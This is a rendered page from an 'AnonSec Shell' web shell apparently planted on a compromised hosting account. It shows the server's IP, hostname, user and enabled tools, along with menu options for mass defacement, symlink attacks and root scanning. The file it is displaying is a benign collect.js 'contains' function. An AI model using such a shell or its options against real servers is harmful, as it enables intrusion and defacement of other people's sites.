AnonSec Shell
Server IP : 162.213.251.212  /  Your IP : 18.216.91.245   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : allssztx ( 535)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/allssztx/www/easybuyer/node_modules/collect.js/src/methods/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/allssztx/www/easybuyer/node_modules/collect.js/src/methods/contains.js
'use strict';

const values = require('../helpers/values');
const { isFunction } = require('../helpers/is');

module.exports = function contains(key, value) {
  if (value !== undefined) {
    if (Array.isArray(this.items)) {
      return this.items
        .filter(items => items[key] !== undefined && items[key] === value)
        .length > 0;
    }

    return this.items[key] !== undefined && this.items[key] === value;
  }

  if (isFunction(key)) {
    return (this.items.filter((item, index) => key(item, index)).length > 0);
  }

  if (Array.isArray(this.items)) {
    return this.items.indexOf(key) !== -1;
  }

  const keysAndValues = values(this.items);
  keysAndValues.push(...Object.keys(this.items));

  return keysAndValues.indexOf(key) !== -1;
};

Anon7 - 2022
AnonSec Team